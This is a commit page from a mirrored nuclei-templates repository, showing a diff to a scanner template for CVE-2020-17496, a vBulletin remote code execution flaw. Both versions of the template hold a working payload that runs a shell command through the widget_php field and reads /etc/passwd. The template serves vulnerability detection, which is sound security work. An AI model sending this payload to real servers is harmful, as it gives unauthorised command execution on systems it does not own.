daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2020-17496.yaml

patch-1
pussycat0x 2021-02-25 02:24:26 +05:30 committed by GitHub
parent 40f751fa4d
commit 73c5f9e8cd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
cves/2020/CVE-2020-17496.yaml
View File

@ -6,11 +6,13 @@ info:
reference: https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed reference: https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
tags: cve,cve2020,vbulletin tags: cve,cve2020,vbulletin
requests: requests:
-method: POST - raw:
path: - |
-"{{BaseURL}}/ajax/render/widget_tabbedcontainer_tab_panel" POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
body: | Host: {{Hostname}}
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;
matchers-condition: and matchers-condition: and
matchers: matchers:
-type: regex -type: regex